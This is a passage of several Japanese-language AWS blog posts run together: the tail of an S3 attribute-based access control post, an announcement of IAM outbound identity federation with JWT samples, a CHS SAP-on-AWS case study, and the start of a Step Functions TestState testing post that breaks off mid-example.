"s3:GetObject", "s3:PutObject", "s3:ListBucket" ], "Resource": [ "*" ], "Condition": { "StringEquals": { "aws:ResourceTag/environment": "development" } } } ] } 次に、この s3-abac-policy を dev-env-role にアタッチします。 これで完了です。 これで、dev-role を引き受けるユーザーは、my-demo-development-bucket などの environment:development タグが付いたどの ABAC 対応バケットにもアクセスできるようになりました。 既存のタグを使用する ABAC には既存のタグを使用できますが、これらのタグはアクセス制御に使用されることになるため、この機能を有効にする前に現在のタグ設定を確認することをおすすめします。これには、意図しないアクセスを防ぐために既存のバケットタグとタグベースのポリシーを確認することや、標準の TagResource API を使用するようにタグ付けワークフローを更新することが含まれます (バケットで ABAC を有効にすると、PutBucketTagging API の使用がブロックされるため)。 AWS Config を使用して、どのバケットで ABAC が有効になっているかを確認したり、 AWS Cloudtrail 管理イベントを使用してアプリケーションの PutBucketTagging API の使用状況を確認したりできます。 さらに、ABAC に使用するのと同じタグを、S3 バケットのコスト配分タグとしても使用できます。これらを AWS 請求コンソール または API でコストアロケーションタグとして有効にすると、 AWS Cost Explorer と Cost and Usage Reports はこれらのタグに基づいて支出データを自動的に整理します。 作成時にタグを強制する 組織全体のアクセス制御を標準化しやすくするために、サービスコントロールポリシー (SCP) または IAM ポリシーによってバケットを作成するときに、 aws:TagKeys と aws:RequestTag 条件キーを使用して、タグ付けを強制できるようになりました。その後、これらのバケットで ABAC を有効にして、組織全体で一貫したアクセス制御パターンを提供できます。作成時にバケットにタグを付けるには、CloudFormation テンプレートにタグを追加するか、既存の S3 CreateBucket API への呼び出しのリクエスト本文にタグを指定できます。例えば、デベロッパーに environment=development というタグが付いたバケットを作成するポリシーを適用して、コスト割り当てのためにすべてのバケットに正確にタグを付けることができます。アクセス制御に同じタグを使用したい場合は、これらのバケットで ABAC を有効にできます。 知っておくべきこと Amazon S3 用の ABAC では、S3 バケット全体にスケーラブルなタグベースのアクセス制御を実装できるようになりました。この機能により、アクセスコントロールポリシーの作成が簡単になり、プリンシパルやリソースの出入によるポリシーの更新の必要性が減ります。これにより、規模を拡大しても強力なセキュリティガバナンスを維持しながら、管理オーバーヘッドを削減できます。 Amazon S3 汎用バケット用の属性ベースのアクセス制御は、 AWS マネジメントコンソール 、API、 AWS SDK 、AWS CLI、および AWS CloudFormation で追加料金なしで利用できるようになりました。 Amazon S3 の料金表 に従って、標準 API リクエスト料金がかかります。S3 リソースのタグストレージに追加料金はかかりません。 AWS CloudTrail を使用してアクセスリクエストを監査し、リソースへのアクセスを許可または拒否したポリシーを把握できます。 ABAC は、S3 ディレクトリバケット、S3 アクセスポイント、S3 テーブル、バケット、テーブルなど、他の S3 リソースでも使用できます。S3 バケットでの ABAC の詳細については、 Amazon S3 ユーザーガイド を参照してください。 コスト割り当てでも、アクセス制御に使用するのと同じタグを使用できます。そのようなタグは、AWS 請求コンソールまたは API を使用してコストアロケーションタグとして有効化できます。 コストアロケーションタグの使用方法 の詳細については、該当するドキュメントをご覧ください。 原文は こちら です。

複数のクラウドプロバイダーにまたがるアプリケーションや、外部サービスと統合するアプリケーションを構築する場合、デベロッパーは、認証情報をセキュアに管理するという永続的な課題に直面します。従来のアプローチでは、API キーやパスワードなどの長期的な認証情報を保存する必要があり、セキュリティリスクと運用上のオーバーヘッドが生じていました。 2025 年 11 月 19 日、AWS Identity and Access Management (IAM) アウトバウンド ID フェデレーション という新機能を発表しました。この機能を使用すると、お客様は、長期的な認証情報を保存することなく、Amazon Web Services (AWS) ID を外部サービスに安全にフェデレーションできます。今後は、有効期間の短い JSON Web Token (JWT) を使用して、幅広いサードパーティープロバイダー、Software as a Service (SaaS) プラットフォーム、セルフホスト型アプリケーションで AWS ワークロードを認証できるようになります。 この特徴量により、IAM ロールやユーザーなどの IAM プリンシパルは、AWS ID をアサートする暗号署名された JWT を取得できます。サードパーティープロバイダー、SaaS プラットフォーム、オンプレミスアプリケーションなどの外部サービスは、トークンの署名を検証することでトークンの信頼性を検証できます。検証が成功すると、外部サービスにセキュアにアクセスできます。 仕組み IAM アウトバウンド ID フェデレーションでは、お客様の AWS IAM 認証情報を、有効期間の短い JWT に交換します。これにより、長期的な認証情報に関連するセキュリティリスクを軽減しながら、一貫した認証パターンを実現できます。 AWS で実行されているアプリケーションが外部サービスとインタラクションする必要があるシナリオを、順を追って見ていきましょう。外部サービスの API またはリソースにアクセスするために、アプリケーションは、AWS Security Token Service (AWS STS) の `GetWebIdentityToken` API を呼び出して JWT を取得します。 次の図は、このフローを示しています: AWS で実行されているアプリケーションは、 GetWebIdentityToken API を呼び出して AWS STS からのトークンをリクエストします。アプリケーションは、基盤となるプラットフォーム (Amazon EC2 インスタンスプロファイル、AWS Lambda 実行ロール、または他の AWS コンピューティングサービスなど) から取得した既存の AWS 認証情報を使用して、この API コールを認証します。 AWS STS は、アプリケーションの ID をアサートする、暗号署名された JSON Web Token (JWT) を返します。 アプリケーションは、認証のために JWT を外部サービスに送信します。 外部サービスは、JSON Web Key Set (JWKS) エンドポイントから検証キーを取得し、トークンの信頼性を検証します。 外部サービスは、これらの検証キーを使用して JWT の署名を検証し、トークンが本物であり、AWS によって発行されたものであることを確認します。 検証が成功すると、外部サービスは JWT を自身の認証情報と交換します。その後、アプリケーションは、これらの認証情報を使用して、目的の操作を実行できます。 AWS IAM アウトバウンド ID フェデレーションのセットアップ この特徴量を使用するには、自分の AWS アカウントのためにアウトバウンド ID フェデレーションを有効にする必要があります。 IAM に移動し、左側のナビゲーションペインで [アクセス管理] の下にある [アカウント設定] を選択します。 この特徴量を有効にすると、AWS は AWS アカウントのために一意の発行者 URL を生成します。この URL は、 /.well-known/openid-configuration と /.well-known/jwks.json にある OpenID Connect (OIDC) 検出エンドポイントをホストします。OpenID Connect (OIDC) 検出エンドポイントには、トークンの検証に必要なキーとメタデータが含まれています。 次に、IAM 許可を設定する必要があります。トークンをリクエストするには、IAM プリンシパル (ロールまたはユーザー) に sts:GetWebIdentityToken 許可が付与されている必要があります。 例えば、次の ID ポリシーは STS GetWebIdentityToken API に対するアクセスを指定し、IAM プリンシパルがトークンを生成できるようにします。 { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "sts:GetWebIdentityToken", "Resource": "*", } ] } この段階で、AWS アカウントによって発行されたトークンを信頼して受け入れるように外部サービスを設定する必要があります。具体的なステップはサービスによって異なりますが、一般的には次のステップが含まれます: AWS アカウントの発行者 URL を、信頼された ID プロバイダーとして登録する 検証するクレーム (オーディエンス、サブジェクトパターン) を設定する トークンクレームを外部サービスの許可にマッピングする 始めましょう では、クライアント側のトークン生成とサーバー側の検証プロセスの両方を示す例を、順を追って見ていきましょう。 まず、STS GetWebIdentityToken API を呼び出して、AWS ID をアサートする JWT を取得します。API を呼び出すときに、対象オーディエンス、署名アルゴリズム、トークンの有効期間をリクエストパラメータとして指定できます。 Audience : JWT の `aud` クレームに、トークンの受信者 (例: “my-app”) が明らかになるように入力します DurationSeconds : トークンの有効期間 (秒)。範囲は 60 秒 (1 分) から 3600 秒 (1 時間) で、デフォルトは 600 秒 (5 分) です SigningAlgorithm : ES384 (P-384 と SHA-384 を使用した ECDSA) または RS256 (SHA-256 を使用した RSA) のいずれかを選択します Tags (オプション): トークン内でカスタムクレームとして表示される key-value ペアの配列。これを使用することで、外部サービスがきめ細かなアクセス制御を実装できるようにするための追加コンテキストを含めることができます AWS SDK for Python (Boto3) を使用して ID トークンを取得する例を次に示します。これは、 AWS コマンドラインインターフェイス (AWS CLI) を使用して実行することもできます。 import boto3 sts_client = boto3.client('sts') response = sts_client.get_web_identity_token( Audience=['my-app'], SigningAlgorithm='ES384', # または 'RS256' DurationSeconds=300 ) jwt_token = response['IdentityToken'] print(jwt_token) これにより、任意の JWT パーサーを使用して検査できる署名付き JWT が返されます。 { eyJraWQiOiJFQzM4NF8wIiwidHlwIjoiSldUIiwiYWxnIjoiRVMzODQifQ.hey&lt;REDACTED FOR BREVITY&gt;... このトークンは、 JWT Debugger などの任意の JWT パーサーを使用してデコードできます。トークンのヘッダーには、ES384 (ECDSA) で署名されていることが示されています。 { "kid": "EC384_0", "typ": "JWT", "alg": "ES384" } また、ペイロードには、標準の OIDC クレームと AWS 固有のメタデータが含まれています。標準の OIDC クレームには、サブジェクト (“sub”)、オーディエンス (“aud”)、発行者 (“iss”) などが含まれます。 { "aud": "my-app", "sub": "arn:aws:iam::ACCOUNT_ID:role/MyAppRole", "https://sts.amazonaws.com/": { "aws_account": "ACCOUNT_ID", "source_region": "us-east-1", "principal_id": "arn:aws:iam::ACCOUNT_ID:role/MyAppRole" }, "iss": "https://abc12345-def4-5678-90ab-cdef12345678.tokens.sts.global.api.aws", "exp": 1759786941, "iat": 1759786041, "jti": "5488e298-0a47-4c5b-80d7-6b4ab8a4cede" } また、AWS STS は、ID 固有のクレーム (アカウント ID、組織 ID、プリンシパルタグなど) とセッションコンテキストでトークンをエンリッチ化します。これらのクレームは、トークンリクエストの発信元であるコンピューティング環境とセッションに関する情報を提供します。AWS STS は、リクエスト元のプリンシパルのセッションコンテキストに基づいて、該当する場合にこれらのクレームを自動的に含めます。リクエストタグを API コールに渡すことで、トークンにカスタムクレームを追加することもできます。JWT で提供されるクレームの詳細については、 ドキュメントページ にアクセスしてください。 iss (発行者) クレームに注意してください。これは、信頼された AWS アカウントからトークンが発行されたことを検証するために外部サービスが使用する、アカウント固有の発行者 URL です。外部サービスは、発行者 URL の /.well-known/jwks.json エンドポイントでホストされているパブリック JSON Web Key Set (JWKS) エンドポイントで使用可能な AWS の検証キーを使用して署名を検証することで、JWT を検証できます。 では、外部サービスがこの ID トークンをどのように処理するのかを見てみましょう。 外部サービスが AWS トークンを検証するために使用できる Python の例のスニペットを次に示します: import json import jwt import requests from jwt import PyJWKClient # 信頼された発行者リスト – EnableOutboundFederation API レスポンスから取得されます TRUSTED_ISSUERS = [ "https://EXAMPLE.tokens.sts.global.api.aws", # 信頼された AWS アカウント発行者の URL をここに追加します # EnableOutboundFederation API レスポンスから取得されます ] def verify_aws_jwt(token, expected_audience=None): """Verify an AWS IAM outbound identity federation JWT""" try: # トークンから発行者を取得します unverified_payload = jwt.decode(token, options={"verify_signature": False}) issuer = unverified_payload.get('iss') # 発行者が信頼されていることを検証します if not TRUSTED_ISSUERS or issuer not in TRUSTED_ISSUERS: raise ValueError(f"Untrusted issuer: {issuer}") # PyJWKClient を使用して AWS から JWKS を取得します jwks_client = PyJWKClient(f"{issuer}/.well-known/jwks.json") signing_key = jwks_client.get_signing_key_from_jwt(token) # トークンの署名とクレームを検証します decoded_token = jwt.decode( token, signing_key.key, algorithms=["ES384", "RS256"], audience=expected_audience, issuer=issuer ) return decoded_token except Exception as e: print(f"Token verification failed: {e}") return None IAM ポリシーを使用したトークン生成へのアクセス制御 IAM プリンシパル (ロールやユーザーなど) が外部サービスでの認証用のトークンをリクエストするには、IAM ポリシーで sts:GetWebIdentityToken 許可が付与されている必要があります。AWS アカウント管理者は、ID ポリシー、サービスコントロールポリシー (SCP)、リソースコントロールポリシー (RCP)、仮想プライベートクラウドエンドポイント (VPCE) ポリシーなど、関連するすべての AWS ポリシータイプでこの許可を設定することで、アカウント内のどの IAM プリンシパルがトークンを生成できるのかを制御できます。 さらに、管理者は、新しい条件キーを使用して、署名アルゴリズム ( sts:SigningAlgorithm )、許可されるトークンオーディエンス ( sts:IdentityTokenAudience )、およびトークンの最大有効期間 ( sts:DurationSeconds ) を指定できます。条件キーの詳細については、「 IAM および STS 条件キー」のドキュメント ページにアクセスしてください。 知っておくべき追加情報 このリリースに関する重要な詳細を次に示します: ご利用いただけるリージョン – AWS IAM アウトバウンド ID フェデレーションは、すべての AWS 商用リージョン 、 AWS GovCloud (米国) リージョン 、および中国リージョンで追加料金なしでご利用いただけます。 料金 – この特徴量は追加料金なしでご利用いただけます。 AWS IAM アウトバウンド ID フェデレーションの使用を開始するには、 AWS IAM コンソール にアクセスし、AWS アカウントでこの特徴量を有効にしてください。詳細については、「 AWS ID と外部サービスのフェデレーション 」ドキュメントページにアクセスしてください。 構築がうまくいきますように! –&nbsp; Donnie 原文は こちら です。

CHSのSAPチームメンバーであるHaritha Malempati、Naresh Kumar Aedudodla、Mukesh Kakaniとの共著 AWSのお客様であるCHSは、2020年にSAP on AWSの旅を始めて以来、クラウドでの運用について多くのことを学んできました。本日は、クラウドでの4年以上にわたる本番運用を振り返り、CHSに毎日依存している750の協同組合と75,000の生産者に対して、効率性の向上とほぼゼロのダウンタイムをどのように実現したかを探ります。 750の協同組合と75,000の生産者に対する効率性の向上とほぼゼロのダウンタイム SAPシステムのリフレッシュとOSアップグレードをモダナイゼーションすることで、ビジネスへの影響を軽減しながら継続的な改善を実現 「コードとしてのSAP」を定義することで、データ整合性保護を強化し、よりきめ細かなアクセス制御を実現 分散システムと高度なクラウド機能を使用して、計画外のダウンタイムを排除 「コードとしてのSAP」を定義することで、ビルド、デプロイ、変更プロセスを合理化 SAPアプリケーションを自動スケーリングして、過剰な支出なしに変化するビジネスニーズに適応 CHSのSAPモダナイゼーションの旅の始まり CHS は、 約100年前にさかのぼるルーツ を持つ米国を拠点とするグローバルなアグリビジネス協同組合です。彼らは、アメリカの農村部とその先の農家やお客様に、多様な農学、穀物、エネルギー製品とサービスを提供しています。CHSは2020年に SAP on AWS の経験を開始し、 2021年にイノベーションとコストに関する初期の成果を公開しました 。この投稿は、AWSで本番環境でSAPを4年間実行してきた彼らの学びを拡張するものです。 多くの大企業と同様に、 CHSは60年以上にわたって企業データセンターを運営してきました 。現在、CHSはAWS上でSAPをネイティブに実行しています。AWSは、さまざまなSAPユースケースに最適化された 幅広いSAP認定インスタンス を含む、最も広範で深いコンピューティングオファリングを持つクラウドです。AWS上でSAPをネイティブにモダナイゼーションすることで、CHSはSAP Basisチームを自立したSAPプラットフォームチームに進化させる機会を得ました。彼らはオンプレミスからの移行を活用して、広範なDevOpsスキルを構築しました。学習とデプロイを加速するために、CHSは AWS Professional Services の支援を受け、 AWSの5,000以上のお客様に対する16年以上のクラウドでのSAP実行経験 から得たベストプラクティスを持つ経験豊富なビルダーをチームに組み込みました。 SAPモダナイゼーションの理由と方法 お客様がSAPをAWSに移行することを選択する理由はいくつかあります： イノベーションへのアクセスの増加 通常オンプレミスで手動で行われる 運用アクティビティを自動化 する能力 SAP環境のデプロイと実行にかかる労力とコストの削減 他のどのクラウドプロバイダーよりも多くのSAP実行経験を持つパートナーの一般的な利点 CHSは、SAP Infrastructure as Code（IaC） と自動化された管理を含む、移行に対する包括的なアプローチを開発しました。彼らは、ビルド自動化、起動/停止自動化、自動OSパッチ適用、アプリケーションサーバーの自動スケーリングを組み込みました。以下は、彼らの「コードとしてのSAP」アプローチの主要な要素です： SAP環境のデプロイ、構成、管理を合理化するための自動化の採用 継続的インテグレーションとデリバリー（CI/CD） 、自動化、IaCなどの最新のプラクティスとツールの採用により、SAPインフラストラクチャをコードで定義 SAPインフラストラクチャコードのバージョン管理と一元的な保存により、コラボレーションの促進、一貫性の推進、トレーサビリティの提供、必要に応じた迅速なロールバックを実現 デプロイ時間を短縮し、エラーのリスクを最小限に抑えるための綿密な計画と実装 Well-Architectedの結果 CHSチームの取り組みは、重要なビジネスシステムの運用の俊敏性とパフォーマンスを変革し、CHSに毎日依存している750の協同組合と75,000の生産者に効率性の向上とほぼゼロのダウンタイムを提供しました。彼らは新しいスキルを学び、より回復力のあるシステムを設計し、イノベーションを加速し、セキュリティを強化し、コストを最適化しました。 AWS Well-Architectedフレームワークの柱 は、これらの成果を文脈化するのに役立つ構造を提供します。 AWSは2015年にWell-Architectedを導入 し、何千ものお客様との協働から学んだベストプラクティスを体系化することで、お客様がクラウドアーキテクチャを改善できるよう支援しました。 2021年、AWSはフレームワークにSAP固有のレンズを公開しました 。 Well-Architectedの最新の更新は2024年に行われました 。6つの柱は以下の通りです： 運用の卓越性（Operational Excellence） セキュリティ（Security） 信頼性（Reliability） パフォーマンス効率（Performance Efficiency） コスト最適化（Cost Optimization） 持続可能性（Sustainability） 以下のCHSの学びについては、主なメリットごとに各柱に改善をグループ化していますが、ある柱でのメリットが他の柱でもメリットを生み出すことが多いことに気づくでしょう。例えば、変更の自動化（運用の卓越性）は、より高い信頼性とパフォーマンス効率の向上につながりました。リソース割り当ての合理化（パフォーマンス効率）は、よりきめ細かなセキュリティとコスト最適化の改善につながりました。そして、最初の5つの柱のいずれかでの成果は、通常、持続可能性にメリットをもたらします：利用率の最大化はより少ないリソースでより多くを達成し、コストの最適化はエネルギー使用を削減し、クラウドの回復力戦略はビジネス継続性を維持するためにより少ないリソースを使用します。 運用の卓越性：SAPシステムのリフレッシュとOSアップグレードをモダナイゼーションして、ビジネスへの影響を軽減しながら継続的な改善を提供 SAPシステムリフレッシュは、多くのSAPのお客様がモダナイゼーションしたいメンテナンス活動です。これは、SAP品質保証（QA）システムのシステム整合性とデータ一貫性を維持しますが、通常、複数のプロジェクトを中断する数日間のダウンタイムが必要です。CHSの場合、技術的なダウンタイムは3日間で、ビジネス関係者はそのダウンタイムを避けるためにシステムリフレッシュを遅らせることが多く、スケジューリングの混乱を引き起こし、重要なプロジェクトのテストサイクルを中断していました。AWSへの移行の一環として、CHS SAPプラットフォームチームは、システムリフレッシュに対する革新的でクラウドネイティブなアプローチを開発し、技術的なダウンタイムを3日間から10時間以下に86%削減しました。彼らのアプローチは エフェメラルインフラストラクチャ を活用し、QAアプリケーションとデータベースの一時的なクローンを作成して、本番QAシステムが中断なくビジネスにサービスを提供し続ける間に、時間のかかる後処理ステップを実行します。ビジネスへの影響が86%小さくなったため、ビジネス関係者がシステムリフレッシュイベントを遅らせることはほとんどなくなりました。 オンプレミス環境で優先順位が下げられることが多かったもう1つのメンテナンスタスクは、オペレーティングシステム（OS）のアップグレードでした。長時間のダウンタイムと複数のチームが必要なため、ビジネスは週末にのみそれらを許可していました。停止日には、インフラストラクチャチームとSAP Basisチーム間で最大8時間の調整と引き継ぎが必要でした。OSアップグレードを遅らせることは、新しいイノベーションとセキュリティ修正へのアクセスを遅らせることを意味しました。現在、「コードとしてのSAP」により、OSアップグレードは通常の営業時間中に、ダウンタイムなしで、単一のチームによって管理され、より速く行われます。これを可能にするために、CHS SAPプラットフォームチームは、ビジネスへの中断をほとんどまたはまったくなしにその場でアップグレードできる 高可用性 システムを設計しました。すべてのサーバー（個々のアプリケーション、セントラルサービス（SCS）、エンキューレプリケーションサーバー（ERS）、HANAデータベース）は、1つずつ順次アップグレードされます。 改善はシステムリフレッシュとOSアップグレードにとどまりません。 AWS Systems Manager（SSM）for SAP を使用してSAP運用を自動化することで、システムパッチ、SAPカーネル更新、HANAパッチ更新も月次パッチサイクルポリシーに準拠させることができます。 セキュリティ：データ整合性保護を強化し、よりきめ細かなアクセス管理を行うための「コードとしてのSAP」 AWSでは、 セキュリティが最優先事項 です。CHSにとって、「コードとしてのSAP」アプローチは、保存時と転送時の両方でデータ暗号化を標準化するのに役立ちます。彼らのSAP実装は、 Well-Architectedセキュリティの柱 の多くの原則に従っています。これには、AWSサービスに組み込まれた業界標準のAES-256およびTransport Layer Security（TLS）暗号化、時間の経過とともにセキュリティの変更を検出するための監視、各アプリケーションに固有の狭い範囲のアクセス制御が含まれます。SAPアプリケーションセキュリティテンプレートをバージョン管理および制御することで、CHSは組織のセキュリティ標準への準拠を検証可能に確認できます。自動化により、手動作業が大幅に削減され、ほぼゼロのダウンタイムと日常業務への最小限の中断で最新のセキュリティが提供されます。CHSは、これらのセキュリティ効率の向上を活用して、ビジネスの成長を促進する戦略的イニシアチブにより多くの焦点を当てています。 信頼性：分散システムと高度なクラウド機能により計画外のダウンタイムを排除 CHSは、旅の早い段階で、AWSのファイルシステムにおけるイノベーションがビジネス継続性の維持に役立つことを認識しました。 Amazon Elastic File System（EFS） は、完全マネージドサービスとして、サーバーレスで弾力性があり、設定不要のファイルストレージを提供します。 Amazon FSx は、さまざまな商用およびオープンソースのファイルシステムを同様に簡単に起動、実行、スケーリングできるようにします。FSxは、特定のSAP認定ストレージタイプをクラウドで実行する最初のストレージサービスであり、人気のある堅牢なデータ管理機能をAWSの俊敏性、スケーラビリティ、回復力にもたらしました。 CHSは、FSxに固有のいくつかの貴重な機能を特定しました：ストレージクラスタリング、データレプリケーション、メンテナンス活動やハードウェア障害時でもデータの高可用性を維持するフェイルオーバーメカニズムです。これらの強力な機能により、SAPプラットフォームチームは、いくつかの興味深いSAPユースケースのために、AWSで重要なファイルシステムデータをホストする自信を得ました。例えば、FSxはSAPアプリケーションファイルの適切な暗号化と権限を確保するのに役立ちます。また、災害復旧（DR）システムへのレプリケーションを実行し、データの回復力を向上させます。 これまでのところ、これらの取り組みにより、計画外の停止が排除されました。そして、FSxはこれらのユースケースに適していましたが、EFSは Infrequent Access（IA）ストレージクラス を介して異なるメリットを提供しました。CHSは、30日間アクセスされていないファイルをEFS IAに移動することでコストを最適化しています。 パフォーマンス効率：ビルド、デプロイ、変更プロセスを合理化するための「コードとしてのSAP」 移行後、CHSのスピードと俊敏性の両方が向上しました。クラウド以前は、典型的なSAPサーバーのビルドリクエストには約2週間かかっていました。現在、SAPプラットフォームチームは約1日で新しいSAPサーバーを稼働させることができます。あるサードパーティアプリケーションの場合、IaCは必要なサーバーのデプロイを支援しただけでなく、その狭い範囲のアプリケーション固有のインスタンスの再利用可能なテンプレートも確立しました。このような再構築されたプロビジョニングプロセスにより、SAPに依存してお客様にサービスを提供するCHSのビジネスチームは、これまで以上に速く変化する要件に適応できるようになりました。 新しいリソースをより効率的に提供することに加えて、IaCはCHSが変更管理を標準化および合理化し、未使用のリソースを廃止するのに役立ちます。オンプレミス環境では、CPUまたはメモリのアップグレードリクエストに対応するために、5日間のチケット処理と承認キューが必要でした。現在、クラウドでは、サーバータイプや Amazon Elastic Block Store（EBS） ボリュームプロパティへの同様の変更リクエストを、わずか30分で実装しています。「コードとしてのSAP」に付属する 継続的インテグレーション/継続的デリバリー（CI/CD） パイプラインにより、変更が透明でトレーサブルになり、古いリソースを自動的に廃止することがよくあります。これらの機能により、CHSは重要な負荷テスト中にSAPインフラストラクチャをスケーリングし、その後のクリーンアップを簡素化できます。 コスト最適化：過剰な支出なしに変化するビジネスニーズに適応するためのSAPアプリケーションの自動スケーリング これまで説明してきたメリットのほとんどは、CHSのコスト最適化にも役立ちます。クラウドの最も影響力のある価値の1つは、数分でスケールアップおよびスケールダウンでき、現在のお客様の需要に対応するために必要なリソースに対してのみ支払うことができることです。ほとんどのアプリケーションでは、標準の Amazon EC2 Auto Scaling メトリクスと機能がうまく機能します。ただし、SAPアプリケーションが効果的に自動スケーリングするには、お客様はワークプロセスの消費やバックグラウンドジョブの完了などのSAP固有のニュアンスを考慮する必要があります。CHSは、AWS Professional Servicesの SAP Application Auto Scalingソリューション を使用しています。これは、SAP固有の自動スケーリングのベストプラクティスを実装するために、ネイティブIaCとしてターンキーソリューションを提供します。その結果、彼らのSAPアプリケーションは、受信リクエストに応じて必要に応じてリソースをプロビジョニングし、需要が少ない期間にはスケールダウンしてコストを最小限に抑えます。すべて手動介入なしで行われます。CHSは学習とモダナイゼーションを続け、 2021年に共有した 節約にこれらの節約を追加しています。 結論 私たちは、チームがより価値の高い仕事に集中できるようにし、イノベーションとキャリアの成長を促進しました。 – Shane VanderVoort、クラウドおよびエンタープライズテクノロジー担当シニアディレクター CHSの「コードとしてのSAP」アプローチは、SAPワークロードの俊敏性、信頼性、スケーラビリティ、セキュリティ、効率性を変革しました。自動化を採用することで、彼らの進歩を加速し、将来のイノベーションと成長の基盤を構築しました。 この旅が始まったときにSAPエンジニアリングのディレクターだったShane VanderVoortは、現在、クラウドおよびエンタープライズテクノロジーオペレーション担当シニアディレクターとしてCHSのSAPを監督しています： 「私たちのアプローチは、お客様にサービスを提供する能力に革命をもたらしました。ダウンタイムを大幅に削減し、サービスの中断を最小限に抑えました。システム変更を迅速に、ビジネスへの影響を最小限に抑えてデプロイする能力は、ゲームチェンジャーであり、私たちがサポートする協同組合と生産者がスムーズに、中断なく運営できることを保証しています。その結果、私たちは応答性と全体的なお客様体験を向上させました。」 VanderVoortは続けます： 「従業員側では、自動化と最先端技術の統合により、運用効率が向上しただけでなく、スタッフの士気も向上しました。反復的なタスクを合理化することで、チームがより価値の高い仕事に集中できるようにし、イノベーションとキャリアの成長を促進しました。この変化により、CHSはより活気があり、やりがいのある職場となり、将来の継続的な成功に向けて私たちを位置づけています。」 本日強調したようなイノベーションは、CHSが ミネソタ州のFortune 500企業のトップ3 であり続けるのに役立っています。 VanderVoortの言葉で： 「CHSは、最先端の技術と支援的で協力的な文化を組み合わせているため、働くのに最適な場所です。従業員は、イノベーションを起こし、スキルを成長させ、実際の影響を与えることができ、すべて専門的な開発とチームワークの両方を重視する環境で働いています。」 詳細情報 SAP on AWS を探索 CI/CD、IaC、SDK、IDEなどのAWS開発者ツール を発見 AWS Well-Architected が組織のクラウド使用を改善する方法をお読みください AWSの農業向けソリューション を閲覧 著者について Haritha Malempati（CHS） SAPクラウドオペレーションエンジニア Harithaは、DevOpsツールを通じてSAPインフラストラクチャを構築および維持する取り組みをCHSで主導しています。SAP BASISエンジニアとして15年以上の経験を持ち、SAPスキルとDevOpsの専門知識を融合させて、インスタンスのビルド、更新、メンテナンスを自動化しています。彼女の現在の焦点は、自動化とコスト最適化です。彼女は、SAPプラットフォームチームが高度に安定した、コスト最適化されたシステムを実現するのを支援する上で重要な役割を果たしています。 Naresh Kumar Aedudodla（CHS） シニアシステムエキスパート Nareshは現在、SAPプラットフォームチームに所属しており、SAPシステムのインフラストラクチャ設計、自動化、インストール、運用サポートを主導しています。SAP BASISにおける18年間の深い専門知識は、高可用性、災害復旧、パフォーマンス最適化に焦点を当てたエンドツーエンドのSAPシステム構築に及びます。Nareshは協力的で技術的なリーダーであり、複雑なSAPクラウド変革プロジェクトの信頼できる専門家です。 Mukesh Kakani（CHS） シニアマネージャー、プロダクトデリバリーSAPプラットフォーム Mukeshは、SAP BASISプラットフォームを専門とする21年以上の経験を持つハンズオンITリーダーです。現在、MukeshはCHSのSAPプラットフォームチームを管理しており、自動化、ダウンタイムの削減、セキュリティ、コスト最適化に焦点を当てた、AWS上での大規模なSAP実装の設計と実行において重要な役割を果たしてきました。 Tom Lauducci（AWS） シニアソリューションアーキテクト Tomは過去4年間、CHSのクラウド変革をサポートしてきました。Amazonでの13年間で、彼はフルフィルメントセンターツアーで見られるワークステーションとロボティクス、およびAWSデータセンターの物理的なデータセキュリティシステムも設計しました。Tomはイベントスピーカー、特許保有者、ブログ著者、技術アドバイザーです。彼は6つのAWS認定を保持しており、R&amp;D、エンジニアリング、製造、販売において複数の業界で20年以上の経験があります。 Bidwan Baruah（AWS） シニアスペシャリストソリューションアーキテクト、SAP on AWS Bidwanは、SAPのクラウド移行とデジタル変革の複雑さを通じて企業を導くことを専門としています。AWSでの5年間で、彼はCHSや他の多くの企業がSAPワークロードを移行およびモダナイゼーションするのを支援してきました。Bidwanは著名なスピーカーおよび著者であり、講演活動や技術出版物を通じて定期的に専門知識を共有しています。 本ブログはAmazon Q Developer CLIによる機械翻訳を行い、パートナーSA松本がレビューしました。原文は こちら です。

2025 年 11 月 19 日は、AWS のテスト API である TestState API を使用した AWS Step Functions のローカルテスト機能強化について皆さんにお知らせしたいと思います。 これらの機能強化は TestState API 経由で利用できるため、任意のテストフレームワークを使用して開発マシン上でワークフロー定義をローカルに検証し、エラー処理パターン、データ変換、サービスのモック統合をテストする自動テストスイートを構築できます。今回のリリースによってローカルユニットテストのための API ベースのアプローチが導入されたので、 Amazon Web Services (AWS) にデプロイしなくても包括的なテスト機能にプログラム的にアクセスできるようになります。 強化された TestState API には、次の 3 つの主要機能が導入されています。 モックサポート – ダウンストリームのサービスを呼び出すことなくステート出力とエラーをモックできるため、ステートマシンロジックの真のユニットテストが可能になります。TestState は、STRICT (すべての必須フィールドを検証するデフォルトモード）、PRESENT (フィールドのタイプと名前を検証)、NONE (検証なし) の 3 つの検証モードを使用してモックレスポンスを AWS API モデルに照らして検証することで、忠実度の高いテストを実現します。 すべてのステートタイプのサポート – Map ステート (インラインおよび分散)、Parallel ステート、アクティビティベースの Task ステート、.sync サービス統合パターン、.waitForTaskToken サービス統合パターンなどの高度なステートを含めたすべてのステートタイプをテストできるようになりました。これは、ステートの遷移、エラー処理、データ変換などの制御フローロジックを検証するために、ワークフロー定義全体で TestState API を使用し、ユニットテストを作成できることを意味します。 個々のステートのテスト – 新しい StateName パラメータを使用して、完全なステートマシン定義内で特定のステートをテストします。完全なステートマシン定義を 1 度提供するだけで、各ステートを名前で個別にテストできます。実行コンテキストを制御して、特定のリトライ試行、Map のイテレーション順番、エラーシナリオをテストできます。 強化された TestState の使用を開始する 強化された TestState の新機能を順を追って見ていきましょう。 シナリオ 1: 正常な結果をモックする 1 つ目の機能はモックサポートです。この機能を使用して、実際の AWS サービスや外部の HTTP リクエストさえも呼び出すことなくワークフローロジックをテストできます。ユニットテストをすばやく行うためにサービスレスポンスをモックしたり、統合テストのために実際の AWS サービスを使ってテストしたりできます。モックレスポンスを使用するときに AWS Identity and Access Management (IAM) 許可は必要ありません。 以下は、正常な AWS Lambda 関数レスポンスをモックする方法です。 aws stepfunctions test-state --region us-east-1 \ --definition '{ "Type": "Task", "Resource": "arn:aws:states:::lambda:invoke", "Parameters": {"FunctionName": "process-order"}, "End": true }' \ --mock '{"result":"{\"orderId\":\"12345\",\"status\":\"processed\"}"}' \ --inspection-level DEBUG このコマンドは、実際に関数を呼び出すことなく Lambda 呼び出しステートをテストします。TestState は、モックレスポンスを Lambda サービス API モデルに照らして検証して、テストデータがサービスから実際に返されるものと一致することを確認します。 レスポンスには、実行が正常に行われたことと、詳細な検査データが表示されます (DEBUG 検査レベルの使用時）。 { "output": 